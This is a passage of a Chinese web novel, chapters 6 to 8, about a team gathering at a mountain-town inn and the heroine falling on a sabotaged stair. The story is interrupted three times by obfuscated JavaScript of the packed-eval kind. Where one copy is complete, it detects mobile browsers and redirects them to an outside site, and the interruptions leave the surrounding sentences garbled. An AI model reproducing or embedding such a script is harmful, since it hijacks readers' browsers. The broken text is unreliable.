大牛一头讲究的头发都被狗子抓成了鸡窝,一边弯着腰一边躲避,一边大声让其他人赶紧把狗扯住。 好在两条狗嘴巴被圈住,不能叫,也不能咬人,否则他今天就要栽在两条狗身上了。 “喂——孙爷,小姐好像和小李哥他们打起来了,尖叫声都传到我这里来了…好的,我知道了,我们不会轻举妄动的,也不会让小姐发现我们的。 6. 第 6 章 三人闹过后,车子平稳地往前开,快到和榆安安会和的地点时,粽子忽然打开车窗,双手作喇叭状放在嘴边,对着外面大吼: “啊——” 甘草和小李哥都静静地看着他发疯。路边一辆摩托车,高大威猛的父亲载着儿子和妻子去上班、上学。 孩子坐在最中间,一家三口大早上洋溢着幸福的笑容。 听到喊声,三人都惊疑不定地看向车内大喊像个不良人的青年。 “大哥哥,你被绑架了吗?我爸爸是警察,妈妈是老师,我们现在就可以救你出来!” 粽子对着那正义感十足关心望着他的孩子说:“哥哥没被绑架。小朋友,哥哥要去冒险了,祝哥哥好远吧!” “哇!大冒险家!哥哥好厉害!” “那是!哥哥是最厉害无敌的虹猫!” 两人当即比划了一下动画片里虹猫的拔剑姿势。甘草和小李哥默默低下头,当不认识这个中二少年。 而那孩子的父母已经笑疯了。 一家三口和他们的越野车交叉而过,那父亲和妻儿说了什么,三人都笑起来,粽子愣愣看着那三人骑着摩托车走远。甘草从后视镜里看到他发愣的样子,忽然就感到心疼。 “粽子,你加入榆家队伍的事,告诉你爸妈了吗?” 粽子缩回脑袋,坐回车里,微微上挑的丹凤眼显出几分轻慢来,他不在意的耸耸肩。 “小爷的事小爷自己做主,不用和他们说。” 看见他这样,甘草更心疼他了,却也不知道怎么劝他。家家有本难念的经,粽子虽然父母俱在,可彼此脾气都很倔强。 粽子多数时候都不在意,但有的时候,也会伤心的吧。 到榆安安给的会和地点时,甘草下车,看着已经坐上了小李哥空出来的驾驶座准备开车的粽子。 粽子说,他需要开车去滇云,带一部分不能过检的装备。 顺便还要接几个在湖湘的队友,一起轮流开车。 “粽子。” “干什么?”粽子闻言抬头看去,“舍不得小…” “勒勒勒。” 粽子看到前面的甘草忽然对着他做了一个鬼脸。 初升的明媚阳光下,她穿着简洁大方的牛仔裤和白T恤,迎面朝着阳光站立,如玉的脸被阳光照得红润透亮。 粽子看着她小巧的鼻子皱着,淡红的舌头尖伸出来,乌黑的眼睛如月牙一样弯起来。 明明是搞怪的样子,却热烈灿烂得像一朵盛开的向日葵。 “太可怕了,小爷吓死了!” 粽子哈哈大笑着,糟糕的沉重的无法言语的心情如乌云一样奇异的霎时散去,启动车子走了。 看着粽子开车离开,背对着他们朝他们挥了挥手,甘草收起鬼脸,目送他走远。 无论如何,开心了点,就好。 甘草知道粽子有心事。可有些事,她也不知道怎么帮他,只能想办法逗他开心。 . 五天后,甘草带着对这次雪山行的担忧,对榆安安等人抵达目的地——药神山不远处的德新小镇上。 榆安安带了四个人:助手吴安、采购经理王大壮,也是甘草在榆氏医阁兼职时的顶头上司、还有两个保镖阿七和李勇。 甘草就只和小李哥一起。 一行七人。一路可谓是一波三折又三折。 先因为天气原因,航班取消,好不容易等到上了飞机,到了滇云,之后换了大巴车。 大巴车开得一路都磕磕绊绊,中途坏了两次,其中一次还栽坑里去了。 接着到了约定的地方,一行人转移到孙家药铺的管事儿子小秦接他们的皮卡车上。 结果中途爆了一次轮胎。 遇到一次打劫的。 按照计划他们本应该三天到德新的,最后硬生生多拖了两天。而粽子他们那一组开车过来的都到了… 粽子这一次是跟着副队赵商开车过来的,远送一些不方便过检的装备,算上他自己,一共八人。 七男一女,据说女生很漂亮,人也很不错,就是防备心不低,不说自己的来历,全程只吐露自己叫秀姐,是为了钱来做向导的。 而秀姐也不是本地人,只是在这边带队进过几次雪山。至于榆家为什么找她带路,她也没多说。 总之,是一个谜一样的女子。 粽子他们今天下午才到此地,租下了这里的一个客栈后,开始整顿。 粽子替甘草选了一个最好的单人间,可惜在他选房间时,选中的房间旁边一间单人房被人占了。这就导致甘草只有一边是挨着自己的人,另外一边是陌生人。 粽子与此人交涉过,可惜无果,于是就这么将就着住。 晚上休息时,粽子打电话问过他们什么时候到,所以晚上粽子没睡沉,甘草他们的车一到,他就听到动静醒了。 衣服都顾不得穿,踩着拖鞋“啪嗒啪嗒”地去接人,可想而知那动静多大,把二楼的人都吵醒了。 有人骂他扰民,粽子也不管不顾,我行我素。 除了几个感情好的人,粽子就没在意过其他人的看法。 就是把他当神经病,他也不在乎。 一路跑到客栈院子外,小秦哥的皮卡车正好停到路灯下,粽子一眼看到甘草虚弱无力地躺在小李哥臂弯里,一下心疼了。 三天前通电话,粽子就得知了甘草开始晕车,到后来已经意识模糊,戴上氧气罩了。 也不知道这几天遭了什么罪,他发小进出少,出气多了,氧气罩上薄薄的雾气证明她还活着。 “棒槌,到了,快下来,小爷背你。” 甘草自然是意识不到这些了,她眼皮半睁半合,没有任何反应。小李哥抱着她起身。 一走近,粽子就闻到一股浓烈的让人恶习得想吐的味道。 “我去,什么味道,怎么那么臭?” 粽子转身看着小李哥他们,用手捂住了口鼻。 “你们干什么了?一股臭味!” 小李哥等人:“…” “我们能干什么?天天坐车还能干什么?” 车上的人除了小李哥之外,都觉得粽子小题大做。 坐车哪有不臭的,有气味才正常。 粽子把甘草接下车,骂骂咧咧严厉禁止他们靠近。 “小爷就说棒槌的晕车症怎么那么严重,照着小爷说的做了还是不见好。感情都是被你们熏的!” 粽子也不知道他们做什么了。 一个个饭菜味混着酸臭味和粪坑味,救赎一个臭气坑,他们自己却不自知,一个个围着他发小坐。 被粽子这么一说,围在车斗里坐了一圈的一群人才使劲闻了闻自己身上的味道。 这一闻,大家都不想说话了。 这次他们坐的大巴车有好几个孩子,路上有吐的,有拉屎拉尿的。还有些不讲究的大老爷们直接混着这些气味吃饭的… 一言难尽。 不过大巴就是如此,他们也没什么好解释的。 “准备热水了吗?我们要洗澡。”没被人提醒就没注意,提,注意到之后就忍受不了了。榆安安率先提出洗澡。 粽子背着甘草往前走,背对着他们道:“客栈只有一间洗浴室,你们自己安排。棒槌要第一个洗。” 没人敢有异议,谁能和病人抢呢,就算是和甘草最不合的榆安安的保镖之一阿七也识趣地没说话。 甘草昏昏沉沉地被粽子背下车,勉强抬起头想说话,余光就看到路边站着一个黑影,吓得往后一缩。 “牛…牛头。” 昏暗的路灯前几步远的地方,站着一个模糊的黑影,甘草晕晕乎乎的,第一眼看过去就像电视里演的牛头。 “…噗嗤——” 粽子抬头戏谑地背着甘草站定,看着前面站着人影——副队赵商。 赵商手里拿着一个手电筒,照在脚下。他刚从床上起来的,却穿戴整齐,连皮带都系得一丝不苟。站在路边像站军姿一样笔挺,散发出凌厉的气场, 披头散发,穿大裤衩、大拖鞋的粽子被比下去,翻了个大白眼。 “赵副队,你别介意啊。咱们棒槌晕糊涂了,没看清你是个人。” 他嘴上说着抱歉,语气却没有一丝歉意。赵副队扭头对拿了登山包的榆安安道:“她这样,不适合跟我们去雪山,去了也只会拖我们后腿。” “是…是个人啊。”赵商话音刚落地,脑壳晕晕乎乎的甘草视线清晰起来,才看清楚前面站着的是个人,发出原来如此的感叹。 “…噗——”粽子没忍住,又笑出来。 “孙甘草。” 榆安安拿了自己的登山包下车,她喊完,发现趴在粽子背上的甘草没反应。 “你可以和你的人回去了。” “真的吗?”粽子背上的甘草一下就直起了身,一双黑白分明的眸子在黑夜之中也闪闪发亮地望着榆安安。 榆安安无情地说:“假的。” 甘草立马蔫巴巴地趴回粽子背上。 “头好晕…难受…粽子…我们走…” “…” “她这是…”真病还是假病? 赵商神色愕然。榆安安呵呵一笑:“你要是让她回去,她晕过去也能爬起来。” 赵商:“…装的?” “不是,吓的。” “…” 边上拿着甘草行李,把自己行李丢给小秦哥的小李哥不敢靠近甘草,闻言瞪了榆安安一眼:“甘草是饿的。” “不是晕车吗?”旁边的小秦哥小声提醒。 小李哥立马改口:“晕车加饿的。” 赵商没再多说。 大晚上的,大家寒暄了几句,互通彼此的姓名,一行人往客栈里走。 赵商和榆家几个人、小李哥都认识,和小秦哥还有王大壮不认识。 王大壮只是一个采购经理,级别不够,而榆安安带来的其他人则都是她身边的人,在达成合作时彼此就见过。 小李哥是之后交涉装备、物资的时候与赵商电话沟通过。 而小秦哥是负责他们后勤保障的。在赵商他们今天下午到这里时,小秦哥已经开车去接甘草他们了,所以双方没能碰到面。 一行人往客栈里走了几步,忽然看到前面的粽子把甘草放了下来,让她在青石板小路坐下来。 “小李哥,给我拿一瓶干净的水和一个塑料袋。” 小李哥隔着距离将找出来的干净水和塑料袋丢给粽子。 粽子扯开塑料袋,轻轻拍着甘草的背,“吐出来就好了,吐出来就好了去,待会儿洗个澡,睡上一脚,明天就没事了。” 一路吐不出来的甘草在粽子的安抚下,抱着袋子吐的天昏地暗,把胆汁都快吐出来了。 赵商等人停在几步远。见状,赵商直言不讳,“她这样,上去也也是一个死字,只会拖我们后腿。” 除了赵商,其他人都是“毒气”携带者,靠近甘草还会熏到她。 客栈院子里黑漆漆的没路灯,赵商和粽子两个人下来接人拿了手电筒。 其他人原本都睡下了,深夜被吵醒,现在一个个正站在二楼房间外的走廊围观。 榆安安看了一眼吐得极为痛苦的孙甘草,面无表情朝着主干道而去,那里通往客栈大门而去。 “带我们去各自的房间。” 她的两个保镖和王大壮立即跟着她走了,吴安犹豫地看了甘草一眼,也头也不回地走了。 赵商看了孙甘草一眼,也不管了,大步追上榆安安他们,在前面带路。 清幽黑暗的院子里,转眼只剩下了甘草四个。小李哥和小秦哥没敢上去熏甘草,不远不近地焦虑着问她怎么样。 粽子轻轻拍抚甘草后背,等她吐完才问。 “怎么样,好些了没?” 甘草拿水洗了脸,漱了口,朝担心的二人笑了笑。 “没事了。小李哥,小秦哥,你们先去房间放行李吧。粽子,我要去洗漱。你们放心,我没事的,洗完澡就好了。” 见她看起来确实好些了,小李哥和小秦哥才放心了些,拿着行李跟上赵商他们。等他们走了,粽子拿好手电筒,重新背甘草。 才五天没见,就感觉她瘦了许多似的。粽子抬步,后颈忽然感觉到一滴凉意,紧接着是更多的凉意。 “这客栈挺大的,就是配套设施一般。”粽子当作没发现她在哭,一边往客栈最边上的洗浴间去,一边故作轻松说道,“这里的房间没有单独洗浴室,都是在楼下最边上那间公共洗浴室洗漱。茅厕也在那里。” “我先带你去洗,等洗完啦就可以睡觉了。这里的洗浴室不大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你不知道,粽子刚来,就要选最好的房间给孙甘草住。不能离茅厕近,不能有潮味,最后选了楼梯口靠大门这个方向的第二间房。” “那边总共六间房,一间房堆了东西,另外一间门和窗都坏了,暂时住不了人。剩下的房间中,一间是四人房,两间是单人房。” “等他选好孙甘草的房间时。右边那间房被白河占了。” 说起白河,赵商忍俊不禁的同时又好笑道:“白河那人你可能还不了解,不爱搭理人,也不照顾其他人的想法,占了屋子就关了门。粽子这人知道白河是个什么样的人,交涉无果后,只好三个人住另外那四人间了。” 说着,赵商又提醒:“你们注意脚下,这上面第三块板子被粽子弄坏了,还没来及修,你们别踩这块,免得摔下去。” 榆安安差点一脚踏下去,闻言黑着脸多迈了一步。 “他又发什么疯?” 赵商知道她问的是粽子,但走廊上现在都是队伍里的人,他有些话现在不好说。 “这事回头再和你细说。” 一行人按耐住打听的心思,跨过那块坏板子上了二楼,二楼走廊站了好些人,都是分散站在各自的房门外。 这也正常,现在都凌晨了,大家都是被粽子跑出去接人的动静吵醒,起来看热闹的。 一行人走过,每经过一人他就随口介绍对方的名字,也不多说其他的。 榆安安他们没多寒暄,在赵商的带领下选了房间进入。 李勇和阿七两个保镖分别住在榆安安两边,吴安和王大壮也各自找了房间住下。 小李哥和小秦哥上了二楼就径直往右边走,一转弯就遇到站在黑暗处、身后房间没开灯的男人,小李哥和小秦哥从粽子口中了解过情况,知道他是谁。 就是那个占了甘草右手边单人间对白河… 小李哥冷冷看了对方一眼,对方毫无反应,仿佛不知道自己占了不该站的房间一样,颀长的身体倚在栏杆上,淡淡地看着下面。 小李哥觉得和这样不通情理的人计较没意思,收回了自己敌意的目光,和小秦哥走过白河,一路到了第三个房间。 推开门,进去后轻轻关了门。这时候,楼梯口另一边聚在一起的三个人忽然开口说话了。 “二哥,那个小白脸来帮手了,这两个看起来应该挺能打的。” 说话的是三人中的胖子,他口中喊的二哥是三人中最矮小的男人。 这三人年纪看起来不算大,都不超过三十岁。 “滚犊子,老子会怕他?要不是他阴险狡诈弄坏楼梯,老子今天非要他好看。” “老二,别惹事。”最边上的高个男人个头特别高,站在两人旁边高出一个头。 他呵斥的“二哥”站在中间,只到他肩膀高。 “大哥,不是我惹事,是粽子那家伙实在贱,老子忍不下这口气。” 大哥警告了二哥一眼,“我们是来赚钱的,其他的事少惹。” 说起正事,老二收敛了脾气,看了看右边,又看了看左边,低声道:“大哥,我看这队人各自有各自的算盘,不齐心,而且队伍里还有三个女的,带头的和领路的就算了,那个楼下半死不活的也跟上,这次的行动可能不好做。你确定咱们真的要加入这个队伍?” 王老大还没说话,另一边的胖个齐老三已经一把勾住了刘老二的脖子。 “二哥,有女的怕什么。你不是一直单着?正好来一场英雄救美,解决了人生大事。我看楼下那个就很不错,虽然弱一点,但是长得不错啊。而且看她那样子,肯定需要帮助,到时候你就直接上,保证抱得美人归。” “滚滚滚,老子不伺候大小姐。” 三人压低声音说着话进了他们的房间,正好在楼梯口另一边的第一个房间。 而在他们旁边,另外一个单身男人也进了身后的房间。 走廊上只剩下一男一女了。 女的转身看向白河,白河好像一无所觉,看到楼下两人去了客栈最边上的洗漱室,转身进了自己身后的房间。 他没开灯,就这么消失在黑暗中的门后面。 秀姐看着男人进屋,过了一会儿,也准备进自己的房间。 这时候那边的第二个房间门打开,刚刚才进去的据说叫李野的男人拧着几个背包出来,两人相隔太远,也没多打招呼。 等人走了,秀姐正要继续回房,忽然听到那个刚刚被打开的房内传来低声说话声。 “孙爷…对,到了。没什么特别重要的事,就是小姐她…她情绪不太好。我看…哎,我知道了,我明天就去办。” 那房间的人挂了电话,长长叹了一声,秀姐也没说话,径直回了自己屋。 7. 第 7 章 粽子背着甘草去了洗漱室,见她身体虚弱,放下她,摸了摸她头顶。 “我跟你说过,队伍里还有一个女生,叫秀姐,性格脾气都很好,我叫她帮你洗?” 她这么大个人了,还要脸,甘草立即拒绝:“不要,我自己洗。你快出去,对了,把我手提包送进来。” 见她还有力气推他,粽子放心地出去了,往客栈方向走了一段,就看到小李哥拿着行李下来了。 “甘草呢?”小李哥问。 “准备洗澡呢,你把行李都拿下来做什么?” 小李哥松了口气,将其中一个包递给粽子,“你把这个包洗干净,拿去给甘草。” 粽子认出他递给他的是甘草的手提包,正是甘草要的那个包。 “行,我拿去洗干净了再给她。” 行李包上也有气味,洗干净了才不用担心再熏到他那狗鼻子的发小。 等甘草艰难地洗完澡,叫粽子背他回房,半路上就脑壳昏昏沉沉地趴在粽子背上睡着了。 粽子见她睡着了,小心地将她背回屋,遇到那块坏了的板子时,大步跨了过去。 将甘草送回屋,放到床上,一粘上床,她就两手四处摸东西,粽子眼疾手快把一个枕头塞在她手上,甘草抱着枕头睡了过去。 粽子大松了口气,看着睡颜甜美的姑娘,忍不住笑出声,揉了一下她头顶。 都多大的人了,还和小时候一样,怕黑,要抱着东西才能睡着。 打了个哈欠,粽子将手电筒的光调到最弱,放在床头柜上,对着外面窗户照着。 这样不会打扰她睡眠。 弄完这些,粽子就回自己房间了。 一进门,就看到穿背心大裤衩的小李哥坐在左右边的下铺表情不善地盯着他,粽子脚步一停,接着不在意地往里走。 “你盯着我做什么?” 因为时间太晚了,又只有一间洗浴室,小李哥不想和人抢,也懒得排队,所以在甘草洗澡时,提了一桶热水在屋后面浇水洗。 小李哥盯着粽子往里走,眼神差点喷火。 “你知不知道甘草这几天这么难受都是因为你。” 他也是刚刚洗完澡上来。 大晚上懒得排队洗澡,于是干脆提了两桶热水去屋后面,洗了一个干净的澡。 粽子脚步停下,无言地扭头看他,“什么叫因为我?我做什么了?” 见他一无所知的样子,小李哥又憋屈又烦躁,将擦头发的毛巾一把丢在上下铺中间梯子上。 “从出发那天我们分开后,甘草情绪就很不安,一路上都在劝我回去,还问怎么才能让你离开。” “我告诉过你,让你别告诉她我也去,你非要把什么事情都捅出来。” “还有,你要逃跑的事情为什么不提前告诉我们?你要是早点让我们知道,她也不用一直把事情归结于自己,后悔自己没跟着你走了。” 粽子听糊涂了,大刺刺在自己下铺的床上坐下。 “什么叫她没跟着小爷走?那不是因为狗,没走成吗?” 小李哥看他吊儿郎当靠在床头的样子就来气,随手抓起椅子上擦头发的毛巾就丢过去,“我在和你说正事。” 粽子右手敏捷地接住毛巾,再顺手丢回去,“小爷一直这样,你又不是今天才认识小爷,有话快说,没话了就别打扰小爷睡觉。” 毛巾飞到中央,被小李哥长臂一扫,接住。小李哥握紧毛巾,被粽子冷淡的态度伤到。 其实从粽子知道他会和甘草一起进药神山,他就是这个态度了,只是在人前没表现出来而已。 “粽子,我知道你怪我没有通知你甘草去药神山的事,可这件事我就比你早知道一天,那时候甘草已经回湖湘了。” “你想带着甘草跑,去国外,可你想过没有,她想不想逃?” 粽子瞥他,嗤笑,“不逃,来这里送死吗?” 小李哥适应了他恶劣的态度,竟然不觉得可气了,平心静气道:“这里有她喜欢的人和事业,有她喜欢的一切,你确定她愿意与走了之吗?” 粽子不耐烦了,烦躁地趴了一把头发,“你到底想说什么?事情已经过去,还有必要再提?” 没能成功逃走是粽子这辈子最大的败笔,他已经把这件事忘到嘎达角落里了。 小李哥见他神色烦闷,反而在心里骂了一句活该。 不过想到甘草也没走掉,心头又忍不住叹息。 “粽子,我只是想告诉你,甘草或许有考虑过离开,尤其是你让她逃的时候,她犹豫了。” “可正因为此,她才后悔没逃。你不知道,为了这次行动,她准备了许多药材,当时虽然有狗跟着我们,可只要她立即配药,是可以骗过大黄、二黄的。” “但当时她不知道我们也跟着去,迟疑之下,没走。” “后来她知道我们也跟去,才开始感到后悔。” “粽子,榆安安路上给她看过病,说她郁结于心,要是让她在这么下去,进了山怎么办?” 说到进山,粽子神色才变得认真起来。 他想起小李哥说的话。 在准备逃跑时,他确实没有想过甘草不想走。 命和其他比,傻子都知道怎么选。 偏偏他发小就是个傻子。 当时在车上时,他也确实没想到甘草有办法对付两条狗却没说,可他不怪她,反而觉得她更傻了,被人逼着去送死都不反抗。 见他神色缓和,小李哥趁机说道:“我知道你对我们有意见,可棒槌和你不一样,不是所有人都能像你一样承受一切的好与坏。” “你总想让她看透人心,可人心是不值得看透的,谁也不敢拍着自己的胸脯说,自己永远没有私心,没有错误。” “你不能总是一意孤行,做你自己觉得对的事。这次进山,只有我们三个,要是我们再互相针对,那就真有去无回了。” 粽子脸色变了几遍,最后定在了安静上。他还是听进去了一些小李哥的话,他们不能在这个时候内讧。 至于其他的,都不重要,可以以后再说。 这时候,洗完澡的小秦哥推开门走进来,他脖子上挂着一条毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小李哥懒得搭理他们两个,掀开被子钻进被窝睡觉了。 粽子拿被子蒙住小秦哥的头揍了两下,最后往床里一推,“滚,小爷还不知道你,嘴里没一句实话。你老实说,孙老头怎么回答的?有没有松口让棒槌回去。” 听到他说甘草,不打算搭理他们的小李哥立即睁开眼,坐起来看着小秦哥。 小秦哥刚好挣扎冒出头,把被子推到一边,闻言僵在原地。 两双如刀的目光刮在他身上,他神色出现一丝慌乱,恨不得又钻回被子里去。 心里叫苦自己不应该跟他们两人住一块。 这两个,一个比一个不好对付。 又是涉及小姐和孙爷两人的事,他夹在中间不是两头难嘛。 “我…我真没有背后打小报告,真的。粽子,大晚上真的挺累了,快睡吧,有什么事明天再说!” 小秦哥飞快说完,一掀被子,滑进被窝里,连脑袋都蒙了起来。 见他背对着他们两个明显心虚的样子,粽子冷着脸起身爬上上铺,小李哥沉默不语躺下,翻身背对着他们两个。 他想明白粽子为什么把甘草弄哭了,粽子是想让孙老头心软,好放甘草回去。 可秦军这个态度就说明孙老头没松口。 三人各自藏着心事,除了不敢动弹的小秦哥,小李哥和粽子都翻来覆去许久才睡着。 . 8. 第 8 章 凌晨三点多,睡得香甜的甘草被肚子疼唤醒。 她匆匆爬起来,拿起床头柜上的手电筒就往外走,走到一半,才发现自己所处的地方不是自己熟悉的地方。 拿着手电筒转了一圈,才想起来自己今晚到了客栈,自己现在身处在客栈内自己的单人间中。 手电筒光定在门口墙边的一根拉线绳子上,甘草走过去抓着绳子往下一拉。 啪嗒— 屋顶的灯泡亮起来,屋内一下处于光亮中。 “咕噜咕噜——” 肚子传来闹肚子的声音,甘草捂着肚子骂:“什么鬼肚子,两天没吃东西了还拉肚子,不知道是拉水还是拉肠子。” 甘草骂骂咧咧,也没空想那么多,一手捂着肚子,一手拉着手电筒拉开门。 嘎吱——轻微的粗嘎的开门声落在甘草耳朵里没有惊起一丝波澜。 以前在农村老家,她家的房子就会发出这样的声音。 拿着手电筒出去,照了照外面,发现外面树影婆娑,环境看起来挺清幽,就是乌漆麻黑的,月光照下来也看不清三米远。 肚子叽里咕噜地想,甘草也来不及想太多,拿着手电筒出去,转身带上门时,发现关门后外面黑的吓人,干脆把门又打开了。 拿着手电筒走了十几步就到了楼梯口,往下照了照。 楼梯挺长,空无一人,往两边照了照,下面空荡荡的。 甘草捂着肚子一步步下楼。 走到第三块板子时,她忽然感觉脚下一空,还没搞明白什么情况,左腿膝盖就传来刺骨的疼,她重重摔在楼梯上,接着咕噜噜滚了下去。 手电筒第一时间摔了出去,甘草脑海一片空白,只剩下身体本能反应,伸出手护住自己的头部。 天旋地转,浑身上下一下下传来疼痛,靠自己根本没办法停下来,甘草脑子里完全不知道怎么办,也忘了喊救命。 忽然,她腰背上多了一只宽厚的大手,往上用力一揽,她就撞进了一个温暖而硬邦邦的胸膛。 只听“哎哟——”一声,甘草捂住了自己撞在救命恩人胸膛而遭受重创的鼻子。 “好疼…” 甘草感受到鼻子里流出东西来了,拿手指抹了一点,低头一看。 “是鼻涕…” 甘草还以为自己鼻子撞出血了,没想到她鼻子够坚强,只是流了鼻涕。 她下意识将沾了鼻涕的手往眼前的衣服上一抹,抹完手指僵住。 好像做了不该做的事情。 “对…对不起,我不是故意的。” 甘草边说边抬起头,霎时就对上了救她的救命恩人如湖面一样平静冷清的眼睛。 对方看着她抹鼻涕的手… 四目相对,甘草知道自己抵赖不了,两人对视一秒,甘草感受指尖还没擦干净,而且鼻子里鼻涕又流出来了。 脑海里转过拿手背擦还是衣服擦两个选项,最后,她选择了第三个选项。 于是她礼貌开口征询救命恩人:“要不然你再让我擦一下?反正已经脏了,我明天帮你洗衣服或者赔你一套新的。” 男人抱着她的手臂僵住,目光微微变化看着她。 大晚上的,甘草也没察觉他这点变化,她浑身疼得厉害,尤其是鼻子,可她注意力都在快留下来的鼻涕上。 “你不回答就是答应了?”甘草礼貌道谢,“谢谢。” 说完,抓着男人胸前的衣服仔细擦鼻涕,男人眼睁睁看着自己胸前的衣服被她扯开擦向她小巧的鼻子。 被迫成为抹布的男人:“…” “谢谢你,救苦救难的男菩萨,我会感谢你的。” 甘草抓着男人的衣服,仔细擦干净鼻子里的鼻涕,再擦干净手指残留的鼻涕。 做完这些,喜洁的心里得到满足,甘草很有礼貌地表示道谢,且自己会报答。 男人盯着自己被当抹布使用后又被放开的衣服,上面留下些许可疑的痕迹… 甘草却没注意到这些,她左右看看,发现自己被蹲在楼梯上的男人抱在怀里,距离地面很近。 她挣扎了一下想自己坐好,男人可能感受到了她的挣扎,视线从自己胸口的可疑物上平静无波地移开,双手规矩而轻柔地将她放下,让她自己稳稳地坐在了楼梯上。 “谢谢。” 甘草不知道自己说了多少句谢谢,可除了说谢谢,她不知道还该说些什么。 她开始思考目前所处的情况。 很显然,她不小心摔下楼了。 说不小心不准确,因为她踩中的那块板子明显坏了。 摔下楼之后,一个男人出现救了她。 那么问题来了。 甘草抬眸打量男人,他是从哪里冒出来的呢? 下楼时她因为习惯四处照了照,她确定当时楼下空荡荡的没人。 除非…. 甘草盯着男人看,越打量越觉得男人不像坏人。 虽然晚上看不清,但她确定男人长相很好看。 他给人的感觉也不像是大奸大恶之人。 难道…甘草打量男人的脸色,难道只是小偷小摸。 又或是客栈里原本的人? 可为什么要躲在角落里不出声呢? 到现在,她都没听他说过一句话。 想了想,甘草试探道:“你不方便说话吗?” 男人眸光微动,点头。 原来有口疾。甘草没有因此放松戒心。 “你救了我,我可以想办法给你治病。” 她说得很诚恳,男人却平静地看着她没有回应。 “那你想要什么?我尽力报答你。” 男人眸光不变,低下头,看向她的左腿。甘草浑身一僵,她的左腿受伤了,男人要是想做些什么,她现在没有反抗的能力。 “要不然你跟我回我房间,我们慢慢谈报酬?” 回了房间,她可进可退,不用担心丢了小命或者丢了美色。 男人抬头很平淡地看了她一眼,然后站起身。甘草觉得他应该是同意了,至于为什么看她,她不愿意多想。 男人刚直起身,忽然转头看向楼上,甘草一直在注意他,见状也抬头看向楼上。 楼上空荡荡的什么都没有。 “你在看什么?” 男人没回答,依旧看着楼上,在甘草看不到的地方,他微微皱了一下眉。 “呵呵…”楼梯口忽然出现一道光,接着,左手边走出来一个女生。 刺眼的光照下来,甘草眯起眼睛,抬手挡了一下光。 “抱歉,照到你们眼睛了。” 女生说着移开手电筒,光照在了甘草和男人的身上。 “不好意思,请问有需要我帮忙的吗?” 她语气透着揶揄,甘草放下手,抬眸看向忽然出现在这里的女生。 很显然,救命恩人听到了楼上有动静,于是这个女生走了出来。 她是想偷听吗? 还是刚刚才走到楼梯口? 甘草不确定,打量女人分辨她的身份。 记起粽子和她提过,队伍里还有一个脾气很好,很好相处的女生。 应该就是这个女人了。 “你是秀姐?” “对,我是秀姐。”秀姐不意外她能认出她来,只是惊讶她反应速度这么快,点头道,手电筒光再次照在他们身上,并再一次问道:“需要帮忙吗?” 她话是对着甘草说的,可甘草发现她看的方向是救命恩人。 甘草皱眉。 这两人是什么关系? 她看向救命恩人,救命恩人却招呼都没打就往楼上走了。 交错而过,甘草抓住了他的大手。男人感受到左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766065|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手传来的力量,停下来,侧脸平静地看向她。 甘草皱眉打量他。 她意识到男人也是队伍里的一员。 其实早在秀姐出现而没有质问男人是谁时,她就应该想明白。 不过她抓住他不是因为这件事。 手电筒的光照在他脸上,蜜色的肌肤如同在发光,鼻子高挺,像刀锋划过一样精致完美。 侧脸看着她这边,明暗交错的微光中,眼眸微微低垂,睫毛如同蝴蝶的翅膀投下一片阴影,让他淡然的表情显出几分不明显的柔和来。 嘴唇上薄下厚,下颌干净流畅,非常有层次感的相貌。 他确实如她所想那样容貌很出色。 可甘草却在他脸上找不出刚刚一闪而过的熟悉感了。 明明交错而过时,她在他的侧脸上感觉到一丝迷糊的熟悉感。 “不好意思,我看错了。”甘草说着,轻轻松开手。男人似乎也不在意,被放开后,长腿一迈,继续往上走。 带起的微风传到甘草鼻前,她神色忽然微变,伸出手一把抓住了已经走上一个阶梯的腿脚。 她顾不上在意这两人怎么看她,着急地抱着男人的腿想站起来。 男人脸色微变,立即停下来,虽然不明白她怎么了,但他还是蹲下身扯住她的胳膊,扶她起来,同时走下去两个阶梯。两人站在一个阶梯上隔得极近,男人看到她顺着他的力量站起来后,倾身靠近他的胸膛。 位于他们上面的秀姐惊讶地看着两人好像拥抱了一下,挑眉不语。 甘草靠近帅哥后,轻轻嗅了一下他的味道。 嗅完,她神色一下变得吃惊,随后变成喜悦,最后是又惊又喜。 “帅哥,能告诉我你叫什么名字吗?” 甘草控制住自己脸上惊喜的表情,抬头诚挚地问男人。 她虽然控制了自己的情绪,但眼里的情绪还是泄漏了出来。男人不知道她刚刚做了什么,只是靠近了一下他就退开了,他微微皱眉看着她眼里藏都藏不住的惊喜和激动。 究竟做了什么,让她前后情绪变化那么大? 甘草安静地等着看他手势、帅哥抬起了手,这时候,她肚子“咕噜咕噜——”叫起来,提醒她自己的存在。 甘草尴尬地捂住自己肚子,帅哥停下手势,毫不犹豫地转身朝着楼上走去。秀姐没想到自己看戏的结局变成了这样,“噗嗤——”笑出声来。 “孙小姐,要帮忙吗?” “麻烦你了秀姐,我脚受了点伤。” . 甘草憋着气上完厕所出来,再一次被秀姐背回去。 她接近一米七的个子,体重快一百斤了,甘草却发现秀姐背着她上下楼梯都十分轻松。 到楼梯口第三块板子时,秀姐大步跨了过去。 “秀姐,你们都知道这块板子坏了?” 秀姐背着她上了二楼,憋笑说:“是啊。” “那你们怎么都不修?”粽子那家伙就是坐这些事的,竟然也不修,甘草因为那块板子摔下楼的火气一下找到了出气口,质问出口。 “你刚刚不是问救你的人名字吗?呐,这就是他的房间,他叫白河。” 秀姐停下来,转身照了一下经过的第一个房间,甘草吃惊的看了一眼与自己房间相邻的房间。 原来这就是救命恩人白河的房间。 秀姐说完,手电筒照在前面,继续往前走。 “那楼梯是你们家粽子弄坏的,他为了对付队伍里的刘老二,就把那块板子弄坏了。” 